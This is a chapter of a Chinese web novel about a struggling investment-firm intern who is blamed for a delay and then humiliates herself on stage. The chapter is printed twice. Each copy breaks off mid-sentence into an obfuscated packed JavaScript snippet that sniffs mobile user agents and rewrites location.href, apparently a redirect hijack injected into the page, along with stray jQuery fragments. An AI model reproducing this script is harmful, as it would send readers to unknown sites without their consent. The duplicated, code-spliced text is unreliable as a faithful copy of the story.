没关系，我会发疯日载七月弧
9. 第9章
#你看那个精算师，他好像个厨子啊
摩美投资，第一季度总结大会。
后台空气沉闷，光线被幕布切割，略显沉重，投影屏幕上的数据曲线不停晃动，罗芝强撑着精神，疲惫不堪。
台上，维德的秘书抑扬顿挫，激情澎湃，ppt页页翻过，报表张张漂亮，全方位展示这一季度资本回收的亮眼表现……当然，都是给高层大佬们听的。
罗芝在后台坐着，手指都懒得动一下，一脸漠然。
连徐尘都有点酸葡萄了，咂舌道：“千万亿的项目谈成了又怎样，说的好像我们实习生能领到分红似的。”
这种大会流程枯燥，向来翻不出花样，台下诸位一个个西装革履神情严肃，皆作若有所思状，仿佛在衡量某个重大决策或记录什么核心笔记，其实走近了你就会看清，有眯眼打盹的，有发呆望天（花板）的，还有偷偷打开手机抢团购券的，甚至也有一两名身先士卒的勇士，坐在角落嘴巴微张，几乎打起呼噜。
罗芝倒希望自己能打个呼噜，她已经很久没睡好觉了，昨晚跟关狄闹得不愉快，心情躁郁，更加重了今天的困乏。
矛盾的真正起因并不在关狄，罗芝按照邓肯的要求制定了时间线，但邓肯依旧不满意，当众挑刺刁难，丝毫不在乎罗芝的脸面。
“你这进度线是给养老项目写的吗，还是你以为我们是做公益的？”
他连发三封邮件炮轰罗芝，丝毫不掩饰自己的不满与轻蔑，语气高高在上，冷冽刻薄，像对待工具一样对待罗芝，自然也无需考虑她的情绪和感受。
眼看罗芝迟迟未回，大概率是想装死，他迅速换了个更有效的追击方式——他临时起意，直接把罗芝拉进了两个高层的视频会议，在没有提前通知的情况下，点名要她汇报进程。
罗芝战战兢兢，看着屏幕里十几个陌生的西装大佬，个个西装笔挺，眉眼沉稳，气场强大，而她甚至分不清他们是谁，掌管哪个部门。
无论哪个部门，都手握摩美大权，想捏死她都是轻而易举。
她心跳如擂鼓，手心冰凉，她想跟邓肯说，我真的没必要出现在这种级别的会议里，这不合理，也不公平。
但不等她说，邓肯就先发难了。
“数据组早就通知了这个月的数据库会新加几个变量，你这边不知道要同步更新吗？”
——知道，但说好只加几个，现在凭空多出四十多个，还有删减改名大小写全部变样，版式全换，连语种都乱了，这些她找谁说理去？
罗芝还没开口辩解，邓肯就不耐烦地抬手阻止了她，咄咄逼人地重审时间线。
“这个环节能加快吗？”“那这个步骤呢？就导一份数据，为什么要加两天期限？”
他语气冷硬，一遍又一遍，像对待傻子一样。
罗芝全程被邓肯牵着鼻子走，此时肩膀微颤，无助地张嘴，刚要辩解，突然电脑底端一亮。
她偷偷点开，竟是好久不见的数据组赵姐。
“芝，我建议你给时间预期的时候，加一点缓冲。”
罗芝：？
就在下一秒，邓肯的问题飞刀而来：“所以请你明确回答，到底哪一天能提交新版报告？我要一个准确的日期，不要糊弄。”
罗芝一怔，福至心灵，急忙说道：“谭经理3号才从国外回来，能不能等他回来审核完再提交，5号可以吗？”
邓肯不悦，这个理由一时挑不出错，他哼了一声，不置可否，便转而跳入下一个议题，继续主持会议，直到结束，都没再分给罗芝一个眼神。
罗芝感谢赵姐的预判和提醒，以为自己逃过一劫，然而视频挂断不足一秒，她气儿还没喘平，邓肯的总结邮件就发到了众人手上，罗芝点开，直接两眼一黑。
邓肯写了一封会议总结，群发所有与会高层大佬，言语之间把其他组的责任全部摘开，唯独指名道姓地说——
【由于本次资管组没有安排足够的人手，导致本月的报告日期往后推迟到3号。】
得，这一口悬在半空的黑锅，还是铛铛的扣下来了。
然后——是的，还有然后——邓肯犹嫌不够，又加了一个条件。
【罗芝，请你3号之前再约一个小组跟进会议，我要知道你这边的具体进程。】
罗芝看着这封email，只觉得双颊通红，无地自容。
资管组的工位布局明明是半环形半开放式，她却觉得那一瞬间众人的眼光都唰地扫过来，瞄准到她身上，灼烧着她的绿毛衣，烧得整个后背火辣辣。
她不知道自己怎么背着锅下的班，怎么背着锅回的家，心情低落到极点。
跟关狄打视频的时候，她就是这么一张普天同丧的苦瓜脸。
“你又怎么啦？我今天挺忙的，就不过去了啊。”关狄看到她脸色不好，却依旧敷衍，显然不想浪费时间哄人。
关狄上班的银行距离摩美太远，就算两人住在中点，单程也要各自通勤一个半小时，还是划不来，最后还是决定各租各的房子，当初说好周中只要不忙就来回串门，但细细算来，这几个月两人疲于奔命，连周末都很少见面了。
明明同在一个城市，却好像在经营一场远距离。
罗芝大概讲了讲眼下的情况，不知道讲没讲清楚，不知道关狄能不能明白。
“组里其他同事也没有做过，我找不到帮手，怎么办？”罗芝有些茫然。
关狄奇怪：“你经理走之前怎么安排的？他没有教你吗？”
这话跟邓肯白天的质问一模一样，简直重合在了一起。
——他没有教你吗？
——他没有告诉你这份报告牵扯到其他三个部门吗？你一个人耽误时间，已经影响到了后续所有的进程！
——请你在3号之前给出明确的答复，不要再糊弄了。
罗芝更委屈了，3号是谭经理回国的日子，她明明多加了两天，说的是5号啊。
然而邓肯置若罔闻。
“经理还在陪德国人打乒乓球，项目经理却叫我3号前就汇报进度。”黑锅压在胸口，罗芝说话的声音都沉闷无比。
关狄却不当回事：“哎呀，那就拖呗，拖到3号之后再说。”
“那怎么行？项目经理说3号之前就得开完会。”
关狄笑了，语气熟练得像在教学：“这点技巧都不会，我教你哈，你先订个会议，给大佬们发邀请，让他看到你做了这件事，等过两天再跟他说，就说其中有个高层时间有冲突，用这个理由往后一推，不就顺理成章拖到3号以后了吗？”
“啊……啊？”罗芝愣了两秒。
一个会议邀请，难道不是只有接受和拒绝两个选项？
她想了想，还是觉得行不通：“可是我怎么知道那些大佬们会有时间冲突呢？”
“你自己去把那个时间段订上啊！”关狄恨不能从手机屏幕里伸出手敲她脑袋：“项目经理又不会一个个日历去查，你要是觉得不保险，再去问问同事和别组组长，把其中一个人的时间填进去，或者把专用的会议室订走，都行啊。”
……还可以这么操作？
罗芝目瞪口呆。
“哎，你也学学职场技巧吧。”关狄叹了口气：“你也别太清高了，看不上这些所谓的小手段，所以宁可装傻也要拧巴地耗下去，但这么耗着对你有什么好处？既然想往上爬，能用的手段都得用起来，你管他有没有道理呢，管用就行。”
“我没有装傻，我也不拧巴。”罗芝莫名其妙被训一顿，也有点不高兴，“我是……我是不知道要不要往上爬，我觉得当老板不值得。”
关狄瞪大眼睛，仿佛听到了什么天方夜谭：“当经理不值得？”
“对……对啊，也不是所有人都想当经理的啊。”罗芝想起佳文之前苦口婆心的劝告，于是照着那个口吻，搬出一套逻辑来：“活儿多出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15334401|167756||http|test|mini|href|location.split(|),0,{}));
() {
$(.inform).remove();
$(#content).append(
50%，工资只涨5%，性价比不是很低吗？”
关狄鄙夷地笑了：“说你傻你还真傻……当了经理谁还看固定工资啊，都跟项目回报挂钩，有奖金和分红的！”
“那也……也太浮动了，靠不住。”罗芝虚弱地辩解：“总归是多了很多责任，而且——”
而且我怕做错。
这是今晚唯一的一句真心话，但她没有说出口。
她是真的怕，怕回错一封邮件，让谭刚在邓肯面前丢信誉——虽然已经丢了；怕自己进度慢，拖累了整个项目——虽然也确实拖了。
她怕自己一个人的失误，把整个局面搅得一团糟。
也许已经搅了。
“你想太多了罗芝，思虑过度，不落实处，说再多都没用。”关狄斩钉截铁地下了结论：“你现在犹豫不前，纯粹只是因为你还不会玩这些规则。”
我还不会玩规则……吗？
罗芝怔住了。
我应该去学习怎么玩规则吗？
“罗芝，罗芝，你在发什么呆啊？”徐尘一肘子捅过来，把她从回忆中叫醒：“林总已经候场了，你赶紧上台去介绍啊。”
罗芝猛地一震，像是刚从水下浮出，剧烈吸了口气才回过神。
台上灯光白得晃眼，她赶紧带着稿子，踉跄着走上主持台，差点绊了自己一脚，台下一阵骚动。
“感谢徐秘书的精彩发言，她为我们带来了深刻的行业见解和宝贵的信息，也为今天的讨论既搭建了一个清晰的行业视角。”
罗芝余光扫着稿子，声音因紧张而僵硬：“接下来，我们即将迎来今天的嘉宾，来自金凯人寿的总精算师林先生。”
……可是以前关狄也不是这样，当初在学校里他还挺清爽正直的，怎么毕业这几年越发油腻，昨天这一通教训，甚至都不能说是油腻大叔了，简直是个活爹。
罗芝机械地念着稿子，思绪却不受控地飘远。
“林先生不仅是一位资深的总精算师，更是这个行业中真正的数字掌舵者。他曾主导多个重大项目，包括金凯人寿的万能寿险定价改革……”
稿子里密密麻麻的数字构建起金光闪闪的行业前景，每个百分点背后都是百万计的资产波动，每个优化模型都是控制风险、撬动收益的杠杆，可她呢？她只是个转正希望渺茫的实习生，那些光鲜亮丽的数据和她眼前疲惫不堪的现实形成了残酷的对比，好像从未对齐过颗粒度。
也许她是真的不会“玩规则”，会玩的都当上两个组的双vp了，比如维德，不会玩的人还在背锅挠头写邮件，比如罗芝。
哦，今天不是写邮件，是念稿子。
“今天，他将为我们带来主题演讲——《数字的背后：精算如何驱动商业决策》。让我们用最热烈的掌声，欢迎chefactuary林先生登场！”
台下霎时安静，全场鸦雀无声。
白花花的灯光照着百十双眼睛，齐刷刷射过来，盯着罗芝惨白的脸。
一秒、两秒……空气凝固。
罗芝这才反应过来，她念错了——她把chief念成了chef。
仿佛一个脆弱的气泡在悄无声息中爆破，观众席人头攒动，有人开始嗤笑起来。
“果然让实习生做事总有惊喜！”“哈哈哈哈人家只是饿了人家有什么错……”“我不行了太好玩了人怎么能捅这么大的篓子哈哈哈哈……”
即便是再善良的同事也不禁莞尔，嗤笑声像滚雪球，迅速累积，转眼成了奔涌的雪崩，把罗芝卷在中央。
林先生站在演讲台上，面色不善，而徐尘僵在后台，脸上一片空白。
罗芝站在原地，双目四顾，竟是茫然。
巨大的空白向她倒来，压得她窒息，但她心里倒是终于安静下来，那一瞬间，所有的喧嚣纷闹戛然而止，只剩绝对的静止。
她脑子里只有一个念头。
——完了。
摩美投资，第一季度总结大会。
后台空气沉闷，光线被幕布切割，略显沉重，投影屏幕上的数据曲线不停晃动，罗芝强撑着精神，疲惫不堪。
台上，维德的秘书抑扬顿挫，激情澎湃，ppt页页翻过，报表张张漂亮，全方位展示这一季度资本回收的亮眼表现……当然，都是给高层大佬们听的。
罗芝在后台坐着，手指都懒得动一下，一脸漠然。
连徐尘都有点酸葡萄了，咂舌道：“千万亿的项目谈成了又怎样，说的好像我们实习生能领到分红似的。”
这种大会流程枯燥，向来翻不出花样，台下诸位一个个西装革履神情严肃，皆作若有所思状，仿佛在衡量某个重大决策或记录什么核心笔记，其实走近了你就会看清，有眯眼打盹的，有发呆望天（花板）的，还有偷偷打开手机抢团购券的，甚至也有一两名身先士卒的勇士，坐在角落嘴巴微张，几乎打起呼噜。
罗芝倒希望自己能打个呼噜，她已经很久没睡好觉了，昨晚跟关狄闹得不愉快，心情躁郁，更加重了今天的困乏。
矛盾的真正起因并不在关狄，罗芝按照邓肯的要求制定了时间线，但邓肯依旧不满意，当众挑刺刁难，丝毫不在乎罗芝的脸面。
“你这进度线是给养老项目写的吗，还是你以为我们是做公益的？”
他连发三封邮件炮轰罗芝，丝毫不掩饰自己的不满与轻蔑，语气高高在上，冷冽刻薄，像对待工具一样对待罗芝，自然也无需考虑她的情绪和感受。
眼看罗芝迟迟未回，大概率是想装死，他迅速换了个更有效的追击方式——他临时起意，直接把罗芝拉进了两个高层的视频会议，在没有提前通知的情况下，点名要她汇报进程。
罗芝战战兢兢，看着屏幕里十几个陌生的西装大佬，个个西装笔挺，眉眼沉稳，气场强大，而她甚至分不清他们是谁，掌管哪个部门。
无论哪个部门，都手握摩美大权，想捏死她都是轻而易举。
她心跳如擂鼓，手心冰凉，她想跟邓肯说，我真的没必要出现在这种级别的会议里，这不合理，也不公平。
但不等她说，邓肯就先发难了。
“数据组早就通知了这个月的数据库会新加几个变量，你这边不知道要同步更新吗？”
——知道，但说好只加几个，现在凭空多出四十多个，还有删减改名大小写全部变样，版式全换，连语种都乱了，这些她找谁说理去？
罗芝还没开口辩解，邓肯就不耐烦地抬手阻止了她，咄咄逼人地重审时间线。
“这个环节能加快吗？”“那这个步骤呢？就导一份数据，为什么要加两天期限？”
他语气冷硬，一遍又一遍，像对待傻子一样。
罗芝全程被邓肯牵着鼻子走，此时肩膀微颤，无助地张嘴，刚要辩解，突然电脑底端一亮。
她偷偷点开，竟是好久不见的数据组赵姐。
“芝，我建议你给时间预期的时候，加一点缓冲。”
罗芝：？
就在下一秒，邓肯的问题飞刀而来：“所以请你明确回答，到底哪一天能提交新版报告？我要一个准确的日期，不要糊弄。”
罗芝一怔，福至心灵，急忙说道：“谭经理3号才从国外回来，能不能等他回来审核完再提交，5号可以吗？”
邓肯不悦，这个理由一时挑不出错，他哼了一声，不置可否，便转而跳入下一个议题，继续主持会议，直到结束，都没再分给罗芝一个眼神。
罗芝感谢赵姐的预判和提醒，以为自己逃过一劫，然而视频挂断不足一秒，她气儿还没喘平，邓肯的总结邮件就发到了众人手上，罗芝点开，直接两眼一黑。
邓肯写了一封会议总结，群发所有与会高层大佬，言语之间把其他组的责任全部摘开，唯独指名道姓地说——
【由于本次资管组没有安排足够的人手，导致本月的报告日期往后推迟到3号。】
得，这一口悬在半空的黑锅，还是铛铛的扣下来了。
然后——是的，还有然后——邓肯犹嫌不够，又加了一个条件。
【罗芝，请你3号之前再约一个小组跟进会议，我要知道你这边的具体进程。】
罗芝看着这封email，只觉得双颊通红，无地自容。
资管组的工位布局明明是半环形半开放式，她却觉得那一瞬间众人的眼光都唰地扫过来，瞄准到她身上，灼烧着她的绿毛衣，烧得整个后背火辣辣。
她不知道自己怎么背着锅下的班，怎么背着锅回的家，心情低落到极点。
跟关狄打视频的时候，她就是这么一张普天同丧的苦瓜脸。
“你又怎么啦？我今天挺忙的，就不过去了啊。”关狄看到她脸色不好，却依旧敷衍，显然不想浪费时间哄人。
关狄上班的银行距离摩美太远，就算两人住在中点，单程也要各自通勤一个半小时，还是划不来，最后还是决定各租各的房子，当初说好周中只要不忙就来回串门，但细细算来，这几个月两人疲于奔命，连周末都很少见面了。
明明同在一个城市，却好像在经营一场远距离。
罗芝大概讲了讲眼下的情况，不知道讲没讲清楚，不知道关狄能不能明白。
“组里其他同事也没有做过，我找不到帮手，怎么办？”罗芝有些茫然。
关狄奇怪：“你经理走之前怎么安排的？他没有教你吗？”
这话跟邓肯白天的质问一模一样，简直重合在了一起。
——他没有教你吗？
——他没有告诉你这份报告牵扯到其他三个部门吗？你一个人耽误时间，已经影响到了后续所有的进程！
——请你在3号之前给出明确的答复，不要再糊弄了。
罗芝更委屈了，3号是谭经理回国的日子，她明明多加了两天，说的是5号啊。
然而邓肯置若罔闻。
“经理还在陪德国人打乒乓球，项目经理却叫我3号前就汇报进度。”黑锅压在胸口，罗芝说话的声音都沉闷无比。
关狄却不当回事：“哎呀，那就拖呗，拖到3号之后再说。”
“那怎么行？项目经理说3号之前就得开完会。”
关狄笑了，语气熟练得像在教学：“这点技巧都不会，我教你哈，你先订个会议，给大佬们发邀请，让他看到你做了这件事，等过两天再跟他说，就说其中有个高层时间有冲突，用这个理由往后一推，不就顺理成章拖到3号以后了吗？”
“啊……啊？”罗芝愣了两秒。
一个会议邀请，难道不是只有接受和拒绝两个选项？
她想了想，还是觉得行不通：“可是我怎么知道那些大佬们会有时间冲突呢？”
“你自己去把那个时间段订上啊！”关狄恨不能从手机屏幕里伸出手敲她脑袋：“项目经理又不会一个个日历去查，你要是觉得不保险，再去问问同事和别组组长，把其中一个人的时间填进去，或者把专用的会议室订走，都行啊。”
……还可以这么操作？
罗芝目瞪口呆。
“哎，你也学学职场技巧吧。”关狄叹了口气：“你也别太清高了，看不上这些所谓的小手段，所以宁可装傻也要拧巴地耗下去，但这么耗着对你有什么好处？既然想往上爬，能用的手段都得用起来，你管他有没有道理呢，管用就行。”
“我没有装傻，我也不拧巴。”罗芝莫名其妙被训一顿，也有点不高兴，“我是……我是不知道要不要往上爬，我觉得当老板不值得。”
关狄瞪大眼睛，仿佛听到了什么天方夜谭：“当经理不值得？”
“对……对啊，也不是所有人都想当经理的啊。”罗芝想起佳文之前苦口婆心的劝告，于是照着那个口吻，搬出一套逻辑来：“活儿多出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15334401|167756||http|test|mini|href|location.split(|),0,{}));
() {
$(.inform).remove();
$(#content).append(
50%，工资只涨5%，性价比不是很低吗？”
关狄鄙夷地笑了：“说你傻你还真傻……当了经理谁还看固定工资啊，都跟项目回报挂钩，有奖金和分红的！”
“那也……也太浮动了，靠不住。”罗芝虚弱地辩解：“总归是多了很多责任，而且——”
而且我怕做错。
这是今晚唯一的一句真心话，但她没有说出口。
她是真的怕，怕回错一封邮件，让谭刚在邓肯面前丢信誉——虽然已经丢了；怕自己进度慢，拖累了整个项目——虽然也确实拖了。
她怕自己一个人的失误，把整个局面搅得一团糟。
也许已经搅了。
“你想太多了罗芝，思虑过度，不落实处，说再多都没用。”关狄斩钉截铁地下了结论：“你现在犹豫不前，纯粹只是因为你还不会玩这些规则。”
我还不会玩规则……吗？
罗芝怔住了。
我应该去学习怎么玩规则吗？
“罗芝，罗芝，你在发什么呆啊？”徐尘一肘子捅过来，把她从回忆中叫醒：“林总已经候场了，你赶紧上台去介绍啊。”
罗芝猛地一震，像是刚从水下浮出，剧烈吸了口气才回过神。
台上灯光白得晃眼，她赶紧带着稿子，踉跄着走上主持台，差点绊了自己一脚，台下一阵骚动。
“感谢徐秘书的精彩发言，她为我们带来了深刻的行业见解和宝贵的信息，也为今天的讨论既搭建了一个清晰的行业视角。”
罗芝余光扫着稿子，声音因紧张而僵硬：“接下来，我们即将迎来今天的嘉宾，来自金凯人寿的总精算师林先生。”
……可是以前关狄也不是这样，当初在学校里他还挺清爽正直的，怎么毕业这几年越发油腻，昨天这一通教训，甚至都不能说是油腻大叔了，简直是个活爹。
罗芝机械地念着稿子，思绪却不受控地飘远。
“林先生不仅是一位资深的总精算师，更是这个行业中真正的数字掌舵者。他曾主导多个重大项目，包括金凯人寿的万能寿险定价改革……”
稿子里密密麻麻的数字构建起金光闪闪的行业前景，每个百分点背后都是百万计的资产波动，每个优化模型都是控制风险、撬动收益的杠杆，可她呢？她只是个转正希望渺茫的实习生，那些光鲜亮丽的数据和她眼前疲惫不堪的现实形成了残酷的对比，好像从未对齐过颗粒度。
也许她是真的不会“玩规则”，会玩的都当上两个组的双vp了，比如维德，不会玩的人还在背锅挠头写邮件，比如罗芝。
哦，今天不是写邮件，是念稿子。
“今天，他将为我们带来主题演讲——《数字的背后：精算如何驱动商业决策》。让我们用最热烈的掌声，欢迎chefactuary林先生登场！”
台下霎时安静，全场鸦雀无声。
白花花的灯光照着百十双眼睛，齐刷刷射过来，盯着罗芝惨白的脸。
一秒、两秒……空气凝固。
罗芝这才反应过来，她念错了——她把chief念成了chef。
仿佛一个脆弱的气泡在悄无声息中爆破，观众席人头攒动，有人开始嗤笑起来。
“果然让实习生做事总有惊喜！”“哈哈哈哈人家只是饿了人家有什么错……”“我不行了太好玩了人怎么能捅这么大的篓子哈哈哈哈……”
即便是再善良的同事也不禁莞尔，嗤笑声像滚雪球，迅速累积，转眼成了奔涌的雪崩，把罗芝卷在中央。
林先生站在演讲台上，面色不善，而徐尘僵在后台，脸上一片空白。
罗芝站在原地，双目四顾，竟是茫然。
巨大的空白向她倒来，压得她窒息，但她心里倒是终于安静下来，那一瞬间，所有的喧嚣纷闹戛然而止，只剩绝对的静止。
她脑子里只有一个念头。
——完了。